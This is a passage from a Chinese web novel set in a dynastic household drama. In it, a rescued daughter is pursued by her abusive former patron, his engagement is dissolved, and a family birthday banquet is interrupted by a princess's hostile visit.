云棠顿时变了脸色,却没有躲闲的姿态,努力站直腰杆。 叶氏脸色难看,把云棠护在身后,冷笑说着,“看来上回那顿打还是打太轻。” 陆锦从车上下来,虽然身着华丽,脸色却是苍白的,一副病态的模样。 只是他神色是欢喜的,看着云棠说,“云棠,我们可以成亲了。” 门当户对,云棠再不是任人辱骂的青楼女子。 “你是失心疯了吗?” 叶氏怒声骂着,“凭宁阳侯府的门第,也想高攀我苏家,看来上回的教训还不够。” 以前云棠是身份太低,任由其打骂。 现在成了国公府千金了,就想着用以前的种种,甚至孩子,攀上国公府的高枝。 无耻到如此地步,陆锦该死。 与碧珠交谈过的苏钰,倒是有点了解陆锦的想法,他应该是没有攀高枝的想法的。 因为在他心里,青楼女子云棠,不配他的爱,他的爱是错的。 现在云棠成为了国公府千金,俩人是门当户对的,就值得他的爱了,他们应该喜结连理。 主打一个自我中心,自以为是。 “岳母,以前都是我的错。”陆锦向叶氏躬身致意,“我以后一定会好好对云棠,看在诚哥儿的份上,岳母就原谅我吧。” 他与云棠本就是两情相悦,只因身份差异,现在身份问题没有了,自然该成亲。 “谁是你岳母。”叶氏怒不可谒,对跟随的护院们说,“还不快把他打出去。” 四个护院上前,动起手来,是一点都不客气。 陆锦知道苏家的厉害,出门来找云棠,自然是带足了人手。 双方大战开启,围观的人却是越来越多。 陆锦和云棠,现在是直隶最大的八卦,堵场都开盘了,赌苏家会不会把云棠嫁给陆锦。 现在陆锦又当街示爱,还叫叶氏岳母,这种大戏,挨打都得看。 “云棠,我知道,你对我的心意从来没有变过,我也是。以前是因为身份,现在身份再不是阻碍,你就是我唯一的妻。”陆锦大声喊着。 这是他的真心话,他真心爱着云棠,越是真心,他越觉得难受。 堂堂侯府世子却真爱一个青楼女子,岂不是笑话。 他用了很长很长的时间才确定自己的心意,哪怕云棠出身青楼,他也是真爱她。 而在这个时候,云棠成了国公府小姐,身份再不是问题。 这是天意,老天都在成全他们,他们是天造地设的一对。 叶氏听得快要气晕,苏钰看一眼云棠,只见她脸色苍白,身体微颤,“陆大爷莫要胡说八道,我与你再无瓜葛。” 打耳光,辱骂,各种虐待,种种事情之后,陆锦还能说出这种话来,她既震惊又不解。 要是因为国公府的权势,过来攀扯,她虽然会鄙视,但也能理解。 陆锦竟然敢说感情真心,他们之间也许有过,早己在一场场虐待中烟消云散。 “以前种种是我错了,我向你道歉。”陆锦大声喊着。 几个护院被陆锦的打手缠住,一时间奈何不了陆锦。 苏钰决定亲自动手,没动刀,只动拳头。 闪身上前,一记劈手袭向陆锦的脖颈,陆锦还想再说,人己经软绵绵的倒下去。 “把你家主子抬走。”苏钰大声说着。 宁阳侯府的护院一看陆锦又晕了,也不打了,连忙扶起自家主子。 想到陆锦的身体状况,也不敢纠缠,赶紧抬上车就走。 护院驾车要走的时候,却发现走不了。 现在直隶最大的八卦,就是陆锦和云棠,早在陆锦大声表白的时候,这条街就被围观的群众占领了。 说书先生甚至连字笔都准备上了,多好的素材啊,明天就有新段子可以上,马上又能赚一笔。 “让开,让开……” 宁阳侯府的护院大声喝斥,总算开出一条路来,驾着马上车走了。 当事人都晕倒离开了,至于骚扰国公府千金,那是不敢,围观群众也渐渐散去。 叶氏气的差点晕过去,当街打了陆锦三十棍,下手又极重,都这样了,陆锦还敢有攀扯的贼心,这是真想死啊。 “母亲……” 云棠看叶氏脸色不好,连忙扶住她,“都是我不好,惹的这些麻烦。” “这与你何干。”叶氏说着,又安慰云棠,“不用担心,会解决的。” 因为没想到陆锦还有这个胆量,这才没有防备。现在知道了,那肯定饶不了陆锦。 过往的事情己经无法改变,但可以把过往的人解决了。 陆家护卫驾车把陆锦送回家,半路上陆锦就醒了。 苏钰只是把他打晕,马车颠簸着就醒了。 “云棠,云棠……” 陆锦大声喊着,从昏迷中醒来。 “大爷,您可算是醒了。”管事抹着额头的汗。 有心想劝一句,那苏家人不好惹,真打不过,何苦送上门找打。 “我要退亲。”陆锦大声说着。 他想到了,云棠会拒绝他,是因为他与胡家还有婚约。 因为太没把胡家看在眼里,以至于经常忘了婚约的事。 管事惊呆,“大爷,您,怎么……”想一出是一出啊。 “把媒婆叫来,还有胡家人也一起叫来。”陆锦说着,“让帐房准备三千两银子。” 三千两银子给胡家做退亲赔偿,他自觉没给少。 “这,这事得太太出面吧。”管事说着。 陆锦的决定,他不敢拦,但这么大的事,他更不敢让陆锦自己就办了。 第88章 第 88 章 陆锦闹着要退亲,宁…… 陆锦闹着要退亲, 宁阳侯无所谓,胡家家世太差,就是跟云棠没成,再给陆锦说亲事, 也只会比胡家好。 宁阳侯夫人心里有点不舍, 但独子闹腾, 再加上云棠现在的身世, 那可是国公府的门第,值得赌一把。 当天下午, 胡家老爷,太太,连陆锦的未婚妻胡四娘都一起来了。 胡家没叫媒婆来,想着能挽回一下。陆家却是叫了,还是当年订亲时的婆媒。 “现在城里风言风语的, 我也就直言了。”宁阳侯夫人开门见山,“早年两家定亲,我是真心实意结这门亲事的, 但是……唉, 锦哥儿和云棠连儿子都生了, 这婚事就是结不成,这孩子也不是普通庶子。” 当初把诚哥儿抱回府的时候, 宁阳侯夫人想的是想陆家子嗣单薄, 现在有个健康孙子,虽然长子为庶不好,但也先养着。 将来正妻生下嫡子,还是以嫡子为重。 结果,云棠身份大变化, 诚哥儿的身份就不同了,子凭母贵。 胡太太笑得十分勉强,“这个变故谁都想不到,都好商量的。我家四娘最是有容人之量的,一定会好好待诚哥儿。” 说话间,胡太太还看向胡四娘,示意她也说上几句。 胡四娘脸色平淡,却是道:“陆大爷对云棠姑娘的心意我是知道的,我也不想太太难为,亲事就退了吧。” 胡老爷和胡太太脸色皆变了,连连给胡四娘使眼色。 来之前说好的,一定要试着挽回。这是胡家唯一能拿出手的亲事,也是唯一翻身的机会。 胡四娘却是全然不管,径自流泪说着,“这事不怪谁,只是造化弄人。” “你是个好姑娘,识大体,有主意,又通情达理,是我那儿子没福气。”宁阳侯夫人说着,眼中带着不舍。 胡家虽然条件不好,但对胡四娘本人,宁阳侯夫人是很满意的。 自从定亲之后,胡四娘常来府里,各种哄她开心。说话得体,行事大方,不管陆锦如何胡闹,她都没有一句怨言。 “是我没福气,不能长陪太太左右。”胡四娘说着,眼泪越掉越多。 宁阳侯夫人见她哭的伤心,也跟着伤心起来,“好孩子,总是我家对不起你。我准备了五千两银子给你当嫁妆,你出阁时,我去送你,保你风风光光。” 原本说的是三千两,但胡四娘如此通情达理,而且这事本就侯府的错,耽搁了人家姑娘的花期,多给两千两也是应该的。 胡老爷和胡太太听到五千两银子,脸上顿露喜色。五千两银子补偿,这可是天文数字了。 “我不是来要银子的。”胡四娘哭泣着,“我只是舍不得太太,太太对我这般好,我哪里还能寻到这样的婆婆,我不嫁了,这辈子不嫁了。” 说着,就放声大哭起来。 胡老爷和胡太太听胡四娘说不要银子,顿时急了,当着宁阳侯夫人的面,也不敢说什么,连连给胡四娘使眼色。 “好孩子你莫哭。”宁阳侯夫人听她哭的也有些心酸,“这几年你在我身边,跟亲女儿差不多,我也舍不得你。” “母亲。”胡四娘顺势抱住宁阳侯夫人,“我早想这么叫您,只是与礼不合,今天退了亲,我再不能叫,您就容我失礼吧。” “你想叫随时都能叫。”宁阳侯夫人听得感动不己,脱口而出,“我没有女儿,就认你当干女儿,以后我们就是亲母女。” “母亲……”胡四娘叫的越发亲切。 胡四娘当场行了认亲礼,宁阳侯夫人又拿了见面礼给胡四娘。 如此转变,胡老爷和胡太太又高兴起来。本以为这亲彻底断了,胡四娘给宁阳侯夫人当女儿,这不是又续上了。 “既给我当了女儿,就先别家去,陪我住些日子。”宁阳侯夫人说着,不禁揉揉眉心,“我那个儿子,实在让我操碎了心。” 胡四娘素来有主意,做事周全,有她在身边,也能多个帮手。 “我陪在母亲身边,为母亲分忧。”胡四娘说着。 胡太太欣喜万分,“如此再好不过,我一会就差人把四娘的东西送过来。” “不值什么,我差人重新置办。”宁阳侯夫人说着。 胡四娘笑着道:“母亲如此疼爱我,那五千两银子的嫁妆,也先放家里,等我出阁时,母亲给我添妆。” 胡家太穷了,这五千两银子,哪怕宁阳侯夫人点名是给她的,最后也落不到她手里。 以前胡家上下高看她,是因为她将来能成宁阳侯夫人。现在成不了了,她的婚事还不知道会被如何操弄。 来之前她就想的清楚,既然与宁阳侯有缘,那这棵大树,她是如论如何也要攀上的。 宁阳侯夫人更高兴了,银子没出家门,还多了个女儿,拉着胡四娘的手说,“好,都依你。” 胡老爷和胡太太顿时急了,“这,这不好吧,这银子……” 放在侯府里,说是胡四娘的嫁妆,以后万一再有变故。 就是没有变故,银子在侯府,他们也摸不着。 “胡老爷这是觉得我安排的不妥?”宁阳侯夫当即摆起脸色。 胡四娘马上笑着道:“怎么会,父亲是高兴,您如何照看我,他高兴还不及呢。” 说着胡四娘连连向胡老爷使眼色。 胡老爷心里在滴血,却只能咬着牙,勉强陪笑脸,“我是太高兴,都不知道要说什么了。” 宁阳侯夫人脸上笑着,对胡家的事多少是知道的。吩咐官媒婆,“当初锦哥儿和四娘的婚事是你操办的,一事不凡二主,退亲之事,还要劳烦你。” “是,是,请您放心。”官媒婆说着,因为是退亲之事,脸上也不敢表现出喜色。 因胡家的媒婆没来,官媒婆只得自行去寻。 又说了几句,胡四娘看出宁阳侯夫人乏了,便给胡太太使眼色。 胡老爷和胡太太这才起身告辞。 “我去送。”胡四娘说着。 宁阳侯夫人点点头。 胡四娘送胡太太和胡老爷到二门上,一家三口一起过来,走的时候只有二老。 胡太太欣喜女儿成了宁阳侯夫人的干女儿,虽然这个干女儿陆家宗族不承认,但总是攀上关系了。 将来有宁阳侯夫人保媒送嫁,肯定嫁的不差。 胡老爷却是脸上带着怒气,“那五千两银子,你就怎么就敢说留在陆家。” “我着人去苏家打听过,苏家看不上陆大爷,与云棠的婚事成不了。”胡四娘小声说着,“我在府里住着,好好侍奉侯爷和太太,陆大爷娶不到云棠,自然就能看到我。” “我说把五千两银子留下来,也是想讨太太欢喜,陆大爷的婚事终究是要她做主的。” “父亲还是要把眼光放长远些,眼前这五千两,跟这座宁阳侯府比,实在算不得什么。” 如此一通说,胡老爷转怒为喜,“家里这些兄弟姐妹独你最聪明,也最有主意。我就说,你怎么好好的说要退亲,原来是有这个主意。” “只是临场应变,没来及跟父母说,还请二老勿见怪。”胡四娘小声说着,“这里不是说话的地方,改日我回家了再与二老细说。” 说话间,车夫拉着车驾过来,胡老爷和胡太太一前一后上了车,胡四娘看着车驾驶出了二门,脸上的笑容才收起,唇角勾起一抹嘲讽。 胡老爷是好糊弄,这婚事退都退了,怎么可能还有余地。 宁阳侯夫人再喜欢她都没有用,陆锦是他的亲子,还是独子,当母亲的少有能拗过儿子的。 更重要的是云棠的身世,那可是英国公府,若是这门亲事真成了,能送陆锦原地飞升。 而且陆锦是男人,儿子都有了,操起深情人设,抱着孩子天天去恶心云棠,闹上几年,折腾得云棠嫁不了别人,这门亲事是能成的。 一个耗字决,陆锦耗的起,她就不陪着疯了。 没有家世,也没有绝世外貌,若是再把年龄拖大了,那真要随便嫁人赌命了。 *** “这个配饰,搭这个颜色还挺好看。” 叶氏正房里堆满了箱笼,全是这两天逛街的战利品。 自从苏辰走丢后,叶氏对于女儿家的东西都十分忌讳。连带着自己,这些年都无心打扮。 现在终于把女儿找回来了,自然得好好打扮收拾一番。 “这件也可以。”苏钰在旁边出着主意。 这几天相处,能明显感觉云棠精神好多了。 虽然与叶氏,苏天华一起带着明显的紧张,但己经从陌生变成有点熟悉,这是很好的开始。 云棠吃了太多苦,她的很多应激反应就能感觉到,她这辈子基本没有被好好对待过。 叶氏拿配饰问云棠,“你觉得哪件好看?” 云棠看看左边,看看右边,一时间不知道如何选择。 或者说,叶氏和苏钰选的都很好,她不知道要认同谁的。 “太太,大姑娘,二姑娘。”婆子进门传话,“外头有一位年轻公子,说要找大姑娘。” “找我?”苏钰疑惑,“我不认识什么年轻公子。” 叶氏笑了起来,“你素来人缘好,去看看吧。” 薛迟要尚主了,谢无衣据说也要娶亲了,新的篇章要开始了。 “我真不认识谁。”苏钰忍不住解释着。 带着心中的疑惑,苏钰去了前头小客厅。 “若叶公子?”苏钰惊呆。 青楼里遇到的公子,竟然找到这里来了。 “在下姓程,若叶是起的雅号,我本名一个喻字,口俞喻。”程喻说着。 “原来是程公子。”苏钰说着。 也挺巧,喻与钰同音。 程喻说着,“那日与姑娘在丽春……” “打住!”苏钰厉声说着。 要是让苏天华知道她逛青楼,能把她耳朵念到生茧。 程喻微微一笑,仿若昙花盛开,有种过份绚丽的美,“原来苏姑娘也有怕的事。” “说不上怕,只是麻烦。”苏钰说着,“一面之缘,公子来寻我,可是有什么事?” 她并不想与青楼常客有交集。 “姑娘对我有误会。”程喻说着,“我时常写词,丽春院的姑娘拿去弹唱,我并不介意,所以才会对我格外客气。” 才子们写的诗词,虽然希望被传唱,但被青楼女子弹唱就会被鄙视。 当然,专门为了某个青楼女子写的,那是风流韵事,另一番计较。 “这是程公子的私事。”苏钰说着。 程喻拿出拜贴,“这个月十五,是一年一度的春日宴,知晓苏姑娘,苏公子在直隶,送上拜贴一份,望姑娘赏脸。” 苏钰接过贴子,拜贴做的十分精致,尤其是右下角一朵幽昙花,工笔整齐,脱俗不凡。 看在这朵幽昙花的份上,苏钰道:“只要十五当天,我还在直隶,定会赴约。” 钱夫人寿宴在初九,云棠己经找到,还有陆锦时不时骚扰。 要是苏天华打算钱夫人寿宴结束就回京城,人不在直隶,自然无法参加。 “那就恭迎姑娘大驾了。”程喻笑着说。 端茶送客,苏钰吩咐婆子送程喻离开。 程喻将要出门时,突然笑着道:“苏姑娘要是喜欢在下的画工,我可以送几副给姑娘。” 苏钰微微一怔,不禁看向程喻。 倒不是因为拜贴上的幽昙是程喻画的,而是程喻的洞察力。 拿到拜贴后,她不过是扫了一眼,在幽昙花上就没多停留,程喻就察觉到她的喜好了。 “我对丹青所知甚是一般,送我怕是要送糟蹋了程公子的心血。”苏钰客气说着。 第89章 第 89 章 “这位程公子在直隶…… “这位程公子在直隶是名人。”苏邑说着。 春日宴的请贴, 苏钰拿给苏邑看了。 往年京城的春日宴,他若在京城,苏钰一定会拉着他参加。 现在直隶的春日宴,玩法又与京城不同, 苏邑也想凑凑热闹。 “青楼里混的才子, 自然是名人。”苏钰说着。 正经才子们都不进青楼, 生怕累及名声。 青楼赛道十分狭窄, 想出名就很容易。 就像贺英,中探花之前, 就能名扬京城,很大一部分原因就是他混青楼。 “不,这位程公子对青楼女子十分尊重,从未有过龌龊之事,是真君子也。”苏邑说着, “他常出入青楼是有原因的。” 程喻是外乡人,祖籍江阴,来直隶为的是寻人。 寻的还不是一般人, 是教坊司的官奴。 据说程喻出身书香门第, 祖父还是状元。随着祖父的过世, 家族逐渐末落,勉强维持。 十九年前, 程喻的舅家郑氏一族出事, 诛九族大罪,男丁杀光,女人入教坊司为官奴。 四年前,其母临终遗命,让他勿必来直隶寻找舅家的亲友。 虽然己经十来年过去, 但因郑家的事太过于轰动,再加上官奴都要在当地官府记录在册,又不能赎身,找起来并不难。 当初郑家二十几个女眷入教坊司,十来年过去,总共活下来四个。 年龄最大的是程喻的小姨郑文,原是花魁,现在是老鸨子。 另外三个年龄都不大,还不到二十岁,襁褓时就入了教坊司。 年龄渐长后,郑文也在教坊司有了话语权,很是照顾她们,这才活了下来。 “因为舅舅一家的遭遇,程喻就对青楼女子甚是怜悯,他做的词随她们谈唱。有难之时,也会出手相救。”苏邑说着,“程喻的名声,在直隶是真的不错,这回的春日宴就是他主持。” 因为对春日宴有兴趣,他特意打听了一下,没想到先听到了程喻的八卦。 “竟然是这样的。”苏钰十分意外,“那倒是我失礼了,对他很不客气。” 苏邑道:“据说他为了脱籍之事,一直四处奔波,他会特意送来拜贴,应该是有,呃,讨好之意。” 官奴籍脱籍是非常难的,必须得朝中有人,还得有大人物才行。 前先程喻一直在讨好恒王世子,原本都快成了,不知哪里出了岔子,事情又搁置。 “我没觉得他在讨好我。”苏钰说着。 与程喻两次相处都说不上愉快,她心有成见是一部分,程喻对她的态度也不好。 说有仇不至于,但不好友是肯定的。 “据说这位程公子脾气不太好的,肯跟人好声好气的说话,就是讨好了。”苏邑说着。 苏钰更意外了,“要是这么说,那确实是讨好了。” “我跟父亲母亲说了春日宴的事,父亲不去,母亲不太想去,但她想二姐去。”苏邑说着。 现在的云棠有点像木偶人,问她什么都可以,怎么样都行。 据丫头所说,云棠晚上还会做恶梦,梦到陆锦打她时的情景。 她在努力摆脱陆锦带来的阴影,很努力了,但依然不够,她需要找回自我。 还有诚哥儿,云棠的亲身骨肉。 苏天华和叶氏对于诚哥儿,血缘上的亲外孙完全不感冒。 奸生子,要是没这个孩子,云棠可以过的更好。 但云棠自己怎么想的很重要,那毕竟是她身上掉下来的肉。 这也是苏天华会留在直隶的原因,身世可以改。 重要的是云棠的心态,陆锦也好,诚哥儿也好,逃避解决不了任何问题。 在直隶解决完,总比回到京城后,再闹得京城沸沸扬扬强。 “那就一起去。”苏钰笑着说,“国公府的千金,就该多出门走走。” 心魔需要自己打败,不然就是苏天华把陆锦碎尸万断,云棠的心魔不除,下半生只怕会更不安。 两人正说着,就听外头传来吵闹声,以及孩子的哭泣声。 “你们是谁啊,抱着孩子闯什么。”苏家婆子拦着。 “这是诚哥儿,贵府二小姐的亲生儿子,我是诚哥儿的奶妈,奉太太之命,把诚哥儿送过来。”奶妈高声喊着。 苏钰不禁皱眉,这是见陆锦自己贴不上了,就拿孩子开路。 只要云棠认了孩子,陆锦就能慢慢磨着,以孩子父亲的身份登堂入室。 就是一年半载成不了事,只要拖着云棠嫁不了人。时间久了,孩子慢慢长大,问云棠要父亲时,云棠也许就会心软,国公府同意亲事。 “岂有此理。”苏邑怒火燃起,就要掀帘子出去。 苏钰拉住他,“有小孩子在,莫要太冲动。” 云棠的亲骨肉,要不要得她自己做主。 两人从厢房出来,云棠和叶氏也从正房出来,叶氏站在正房台阶下,脸上带着怒气。 云棠脸色苍白,却是往前走了几步,直愣愣的看着奶妈怀里的孩子。 孩子落草后就被宁阳侯夫人抱走,她就没见过几次。 奶妈见云棠出来,当即抱着诚哥儿走到云棠面前,“这是诚哥儿,一岁了,太太一直小心看顾着,没有丝毫怠慢。” 这是实话,自己的亲孙子,宁阳侯夫人照顾的非常仔细。 云棠看着诚哥儿,一岁的小娃儿,生的粉雕玉琢,乌溜溜的大眼晴正看着她。 亲生骨肉,生下来就被抱走,云棠下意识就想伸手就去抱,脑海里却突然浮出过往的画面。 “贱人,你这个贱人,青楼里的贱货,故意勾引我,还敢装得一副无辜的模样。” 陆锦重重的耳光落到她脸上,她己经分不清是身上疼还是心里疼。 她很想辩解,她没有勾引过陆锦。但是身在青楼,怎么辩解的了。 “爷认识我,我就在青楼里,我从来没有装过良家子。爷既看不上我的出身,又何必赎我出来。” 记忆里的自己跟陆锦辩解着,她是真的不懂,她没欺没骗,看不上青楼女子,丢开手就是了,何苦要折磨她。 “果然是贱人,我赎你出来,没让你千人骑万人枕竟成我的错。”陆锦更生气了,指着她骂的更难听。 “你想回青楼接客是不是,好啊,我成全你,我把你送到丽春院,那里有的是男人满足你。” 说着陆锦就要拉着云棠往外走,云棠吓坏了,连声求饶。 青楼女子皆是命苦人,哪怕当外室也比在青楼强。许多姐妹羡慕她的好运,遇上陆锦,她是该惜福的。 但是为什么,陆锦要这么对她。她甚至想过,既然如此不喜欢她,为什么不放过她。 “姑娘,抱抱孩子吧。”奶妈再次说着。 一句话惊醒了沉浸在过去的云棠,她吓了一大跳,连连后退几步,诚哥儿好像变成了陆锦,又指着她骂了起来,“贱人,你个贱人!” “啊!!” 云棠抱着头尖叫起来,她这么一喊,原本来到陌生环境就害怕的诚哥儿也跟着哭了起来。 “辰姐儿。”叶氏连忙上前安抚云棠,冲着奶妈吼着,“还不快滚。” 奶妈也吓坏了,没想到云棠看到诚哥儿会是这个反应,“是,是,我这就走。” 说着,奶妈抱着大哭的诚哥儿赶紧走了。 “好孩子,没事了。”叶氏安抚着云棠。 云棠反手抱住叶氏,失声痛哭着,似乎要把心中的悲愤与苦楚全部哭出来。 叶氏待她的好,待她的温柔,是此生对她最好的人。 不知道多少世才能修来这样的福份,她想重新开始,她想好好生活。 为什么过往的一切死命咬着她,到底要怎么做才能重新开始。 晚上苏天华回来,叶氏气愤中对苏天华说了白天的事,“我己经让人搜集陆家的罪证,到时候从老到小一网打尽。” 原本对于陆家,她也没准备做那么狠,但是今天陆家把诚哥儿送来,连小孩子都要利用,实在是忍无可忍。 “此事不急。”苏天华说着,“现在京城风云变幻,先等等吧。” 慕容宁主审军需案,除了原本公布的名单,还牵扯出了更多,越来越多的阵年旧案被扒出来,基本都与关太后相关。 自从显庆皇帝成年后,母子之争从来没有间断过,近几年更是愈演愈烈。 二十几岁的显庆皇帝,争不过五十几岁的关太后。现今三十七岁的显庆皇帝,就未必会输给六十几岁的关太后。 由慕容宁发起的大清洗,现在的京城风声鹤唳,人人自危。一个外地侯府,根本没人搭理。 提到京城,叶氏不禁担忧,“我们一直留在直隶,京城那边……” “既然是大哥的意思,我们留下即是。”苏天华说着。 按照他的原计划,陪着叶氏来直隶认亲,不管真假,钱夫人大寿后就会回京城。 但临走之即,苏略突然来找他,说是苏天翊的意思,让他们在直隶多玩些日子。 “大哥这些年不在京城,对京城之事倒是了如指掌。”叶氏说着,言语间带着疑惑,“我一直觉得,大爷突然留京,与大嫂……” 就好像联动一样,慕容宁要搞事了,苏略就留在京城给她当帮手。 李府的那把火,要跟苏略或者慕容宁无关,她都能给苏天华纳妾。 “大哥既然己有计较,我们何必再操心。”苏天华说着,“我是个武官,领兵打仗才是我的本份,这些朝野争斗,能不参与就不参与。” 这也是苏天翊的意思,两兄弟若是选了相同的路,万一栽了,整个家族也就完了。 你选东,我选西,虽然不能互成助力,却也不至整个家族一败涂地。 第90章 第 90 章 四房在苏氏宗族中是…… 四房在苏氏宗族中是大支, 钱夫人四品诰命在身,丈夫虽己去世,膝下六子二女均己成才。 长子,次子, 五子皆有功名在身, 两个女儿嫁的也很好。 前年钱夫人召集苏氏祖老们, 亲自主持分家。 话也说的直白, 趁自己活着时候,把家分好, 免得以后再出争执。 分家之后,钱夫人与长子住在四房的祖宅,她的身后事以及身后财产全部归于长子。 这回钱夫人寿辰也是长子操办,因为事务太多,请了兄弟们来帮忙, 齐心协力看着十分热闹。 因为是大寿,这场寿宴持续三天,每天的客人不同, 安排不同。 第一天是官家太太以及苏氏族中长辈, 第二天是苏氏族人, 第三天是家中仆从,连带着收拾残局。 “兄长, 嫂子, 可算是见到你们了。” 寿宴第一天,钱夫人长子四房的大老爷门口迎客,看到苏天华一行人,马上迎了上来。 双方客套的功夫,苏钰抬头就见程喻从车上下来, 想到前面两回见面的冷漠,苏钰主动朝程喻微笑示意,以示友好。 程喻眼中闪过一丝惊讶,随即朝苏钰拱拱手,上前招呼,“苏姑娘。” 苏钰没想到他会过来,本想着点头示意就完了,此时也只得招呼,“好巧。” “说不上巧,这种大日子,都会过来。”程喻事实求是说着。 苏钰有瞬间的沉默,面对这种话题终结者,她也不知道该怎么接话。 幸好苏天华跟四房的大老爷己经客套完了,众人一起进府,总算免了尴尬。 四房住的是祖宅,虽然有些破败之处,但面积很大。五进大院左右皆带侧院,后头大花园,亭台楼阁十分精致。 寿宴摆在后花园,重要贵客,有官职有诰命的皆在大花厅。 其他的男客在左侧,女客在右侧,以花园池塘为分界点,规划的井井有余。 宴席在中午,开席之前戏己经唱起来,没人听戏,都在忙着认识介绍。 从苏钰跟着叶氏刚入大花厅的那一刻起,各种亲戚都来了。 苏氏是大族,在直隶是遍地亲友,大街随便拉一个,论起来都不好都是亲戚。 现在是钱夫人过生辰,能来的亲友都来了,那就更多了。 苏钰早有准备,绿川跟在身侧,只是收长辈所赐就收了一大堆。 云棠就显得慌乱许多,整个直隶都知道她的身份,就是以前没见过的她的,也都知道她。 她的丫头是叶氏给她的,原本叶氏身边的大丫头,十分体贴入微,可以帮她应对各种状况。 饶是如此,云棠依然显得有些忙乱,她几乎不敢抬头,她怕看到别人眼里的蔑视。 就像陆锦骂她的,青楼出身的贱人,妄想登高台。 “十二娘,十三娘,十四娘,十五娘……” 钱夫人介绍着自己的孙女,至于前面的都己出阁,要介绍也得跟夫婿一起介绍。 “见过妹妹们。”苏钰见礼。 人丁兴旺是大宗的标致,钱夫人自己就生了六个儿子,族中地位也是靠儿子多撑起来。 到孙子辈的,那就更多了,钱夫人介绍的时候,孙子的名字都记错过。 “两位姐姐好。” 姑娘们齐齐见礼,毕竟年轻,打量苏钰和云棠的目光十分露骨。 一个十九岁依然未嫁,一个青楼出身,当过外室生过孩子,现在被国公府寻回,成了尊贵的国公府千金。 钱夫人笑着道:“这个月十五是直隶的春日宴,热闹的很,我己经跟你二叔说过,多留些日子,你们姐妹们亲近亲近。” “我跟阿邑收到请贴了,要参加的。”苏钰笑着说,看向云棠,“一起热闹热闹。” 钱夫人有些意外,“收到请贴了?谁送的?” “程喻程公子。”苏钰顺口说着。 程喻是这回春日宴主持人,自然该四处派发请贴。 “程公子送的?”别说年轻姑娘们了,就连钱夫人都显得十分惊讶,“你与程公子认识?” 刚到直隶,就跟程喻认识,还亲自发请贴给她? “有过几面之缘。”苏钰说的很含糊,总不能说与程喻是青楼认识里的。 苏十二娘脸上带着明显的不信,“程公子最是傲世轻物,对郡主都十分慢怠。” 怎么可能会主动给才见过几面的人,送春日宴的请贴。 后面的苏十二娘没说出来,苏钰却是听出来了。 程喻在外人眼里如此高冷吗? 随即想到,程喻想给郑家人脱籍,有求于她,自然高冷不起来。 这倒让她明白,程喻在她面前的别拗感,高冷贵公子的头颅不好低下来,就是低下来了,也只是与人平视,她才感觉不到被讨好。 钱夫人看一眼苏十二娘,警告的意味明显,“那就更好了,到时候一起乘坐花船,一起游湖。” “阿邑己经找好花船,正和二叔商量,到时候一起去。”苏钰笑着说。 她并不想跟众人姑娘一起坐花船,都不太熟,一起坐船太别拗,而且人多又挤。 直接拒绝不合适,那就把苏天华搬出来,总不能让苏天华跟姑娘们一起挤。 “找好了?”钱夫人更惊讶了。 因为每年的春日宴,直隶的花船都要提前定制,一艘质量顶好的花船有时候要花上两年时间,就是临时改装也得好几个月。 苏邑初来乍到,哪里找到的花船。 她会邀请,也是想着花船不好找,不坐花船就没办法参加春日宴。 “说是有一家急用钱,转让的。”苏钰说着。 苏邑以十倍的价格买了一艘花船,钱是叶氏出的,具体多少她也没问。 钱夫人还想再说,又有其他宾客进来,钱夫人道声失陪过去招呼,让众姑娘们陪着苏钰和云棠。 至于叶氏,进门就被知府夫人,以及官家太太们缠上,钱夫人想说话都没机会。 “苏姑娘。” 程喻走了过来,苏钰笑着看向他,“程公子。” 苏家众姑娘看到程喻,不自觉得后退一步,脸上却都带着少女的娇羞。 少女怀春,如此纤细文弱的美少年,既使知道没有可能,也想多看几眼。 “听阿邑说,能买到合适的花船,多亏程公子帮忙。”苏钰笑着说。 初来乍到,人生地不熟的,就是有钱也没处花。 程喻当中介,联络了花船买主,同时当了担保,交易才如此顺利。 “说不上帮忙,苏公子出手实在豪爽。”程喻说着。 十倍的价格,八千两银子,眼晴都不眨一下。 签定协议后,买家高兴坏了,十分感激他。 苏钰不禁偏头看一眼程喻,笑着说,“程公子倒是个实诚人。” 知道他们需要花船,就帮忙联络买家,能帮到实处,这种讨好至少没那么讨厌。 既己帮到实处,嘴巴就该好好讲一讲,努力邀邀功才是。而不是直接说,因为你家钱多,我这都不算帮忙。 程喻这口才,不,他就没有口才。 “苏姑娘这是在夸我吗?”程喻说着。 苏钰笑着说,“你觉得是就是吧。” “我虽未去过京城,姑娘大名却如雷贯耳。”程喻说着。 他看过苏钰写的诗,以及从京城流传出来的墨宝,大气豪迈,别说闺阁女儿比不了,一般男子都比不上。 “我现在在京城的名声可是一点都不好,如雷贯耳听起来可不像是好话。”苏钰打趣说着。 程喻道:“那是他们不懂苏姑娘,那点小情小爱,姑娘不会放在心上。” 苏钰呆了一下,疑惑的看向程喻。 这是在恭维她吗,为什么听起来又这么怪。 她倒是真不想把小情小爱放在心上,奈何祖传恋爱脑,一时半会的戒不掉。 “恒王妃驾到。” 突然一声高喝,大花厅众人都愣住了,连寿星钱夫人都显得十分惊讶。 她并没有邀请恒王妃,恒王府是亲王府邸,她只是四品诰命,攀不上。 再者,考虑到云棠的关系,钱夫人不止没请恒王妃连宁阳侯夫人都没请。 现在恒王妃主动来了,钱夫人只觉得不好,但人来了也不敢不迎。 屋里众人皆起身迎出去,云棠身体微微颤抖,她是见过恒王妃的,在恒王府当歌伎的时候。 恒王妃特意把她叫过去,并没有冷嘲热讽的骂她,而是让她尽歌伎的本份。 那种高高在上,从骨子里岐视,连骂都都不屑的侮辱,云棠生平第一次感受到。 “拜见王妃。” 众人齐见礼,一行人中,除了恒王妃,还有宁阳侯夫人,以及恒王妃的亲女,十七岁的柔嘉郡主。 宁阳侯夫人身后却跟着一个奶妈,怀里抱着一个孩子。 云棠看到孩子的瞬间,脸色就变了。 是诚哥儿,她就知道,宁阳侯府不会轻易放过她。 “都起来吧。”恒王妃笑着说。 众人起身,钱夫人赶紧上前,“请王妃上座。” 说着又给身边的长子媳妇使眼色,马上安排开席。不到开席时间也得开,不然坐着说话一定会出事。 不等长子媳妇出门安排,柔嘉郡主走向苏钰,上下打量着她,嘲讽笑着,“你就是苏钰,听说你在京城丢了脸,实在嫁不出去了,才来直隶的。” “放肆,恒王府没有教养嬷嬷吗,身为郡主对长辈如此无礼。”苏钰冷声说着,压根不理会柔嘉郡主,只是向恒王妃。 “我的母亲是亲王嫡妃,按辈份,恒亲王该唤我母亲一声婶娘,柔嘉郡主也该唤我一声姑姑。” 